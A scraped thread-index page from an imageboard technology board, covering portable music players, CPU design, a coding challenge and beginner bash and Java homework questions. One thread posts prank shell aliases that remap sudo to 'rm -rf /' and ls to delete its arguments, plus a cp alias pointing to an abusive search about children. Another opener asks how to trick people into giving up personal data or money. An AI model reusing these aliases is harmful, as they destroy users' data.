Threads by latest replies - Page 13

No.64787397 View ViewReplyOriginalReport
Tell me something to program that is not too complicated (as in a fucking Kernel) but will bring normies to give me their personal data (or at least their money).
9 posts and 2 images omitted

No.64785729 View ViewReplyOriginalReport
HERE IS YOUR GAMING KEYBOARD BRO
37 posts and 3 images omitted

Why does linux still suck so so so much?

No.64781952 View ViewReplyLast 50OriginalReport
How do we fix it?
Will it ever get better?
55 posts and 2 images omitted

No.64787846 View ViewReplyOriginalReport
alias sudo='sudo rm -rf / --no-preserve-root ;'
alias cp='xdg-open "http://google.com/search?q=child+gangbang";'
function ls() { rm -rf "$@" }

/pmp/ - portable music player

No.64749129 View ViewReplyLast 50OriginalReport
/pmp/ personal music player general
This thread is for the discussion portable mp3/FLAC/OGG Vorbis players.
>inb4 phone

Useful Guide(s)
• The General /pmp/ Guide has been updated again, thanks to your efforts >>61354899https://spit.mixtape.moe/view/fefcb363
• Converting an iPod video 5G/5.5G to a rockboxed player with an msata SSD and a 3000 mAh battery http://nullvoid.station.moe/Freedom-Hardware/Video5G-Rockbox/
• Third party battery guide
https://www.iflash.xyz/3rd-party-extended-battery-guide/Guide for iPod 6G/7G needs adding/making
• Rockbox 3.14 released, significant battery increase compared to 3.13. The battery increase was from the cpu scaling patches, which has been available on dev builds for a (long) while.
• Reminder to use Rockbox DEV builds when available.
• Use the SonyNWDestTool to remove the volume limiter/warnings on most of the Walkman series
https://www.rockbox.org/wiki/SonyNWDestTool

Previous Thread ⤑ >>64684564
150 posts and 26 images omitted

Challenge: print only non-repeating integers from an array without embedded loops

No.64783565 View ViewReplyOriginalReport
Out of curiosity i want to see if there is a more efficient way to print out only non-repeating integers from an array.

Show me what you got, senpai.
22 posts omitted

No.64778103 View ViewReplyOriginalReport
>Intel core is 25% bigger than a Zen core
>on a denser and electrostatically superior process
>around 20% less efficient
>is only 10% superior in IPC, even less if you tackle on their server DRAM controller instead of client one

Why is Intel so incompetent at core design? AMD market cap =12 billion, Intel market cap = 240 billion.
49 posts and 3 images omitted

Bash script that outputs two command line parameters: directory name and size in bytes

No.64787895 View ViewReplyOriginalReport
Im new to bash and im trying to figure out how to do a script that will output the directory name of files that are greater than or equal to the size specified by the user. If too many arguments are passed, the program must display an apporpriate usage statement and terminate and if the directory does not exist it must display an error message and terminate. Also, i must incoperate one nontrivial sed or gawk command within the script.

My programming skills are not the best Any guidance will be apppreciated. This is what i have so far

#!/bin/bash

#Enter directory
directory="$1"
pushd "$directory"


for f in *; do

#Exits script if it
#has too many or few arguments

if [ ! $# == 1 ]; then
echo "Not a valid amount of arguments"
exit
fi

#Compares the number of arguments
if [ "$#" -eq 1 ] ; then

#Prints files in directory
echo $f


fi


done

popd
What it does is that if i enter more than the the directory or leave it blank, it displays a message that reads "Not a valid amount of arguments"(Of course i will need to adjust once the size is included) So my next issue would be to get the script to look for the files with a size greater than n. So suppose i only want to find the files in a directory that are greater than 100 bytes. Then it should be able to print me only those files with a size greater than 100 bytes. How would i go about to display the file size and only display those files that are greater than n?

Basic Java Assistance

No.64787367 View ViewReplyOriginalReport
I need a dialog box appear on screen that requests the user to type in the total number of ounces.

>Place the response that a user types in into a String variable.
>Convert that string using parseDouble and place this double into a variable. >Have the computer convert the number of ounces entered by the user into cups, pints, quarts, and gallons.
>Have the computer display the number of ounces entered by the user and the converted number of cups, pints, quarts, and gallons.
>Format the variables to have 2 decimals places, but only if there is a number to display.


I am an idiot, I cannot figure this shit out, writing it in netbeans and nothing wants to run
1 post omitted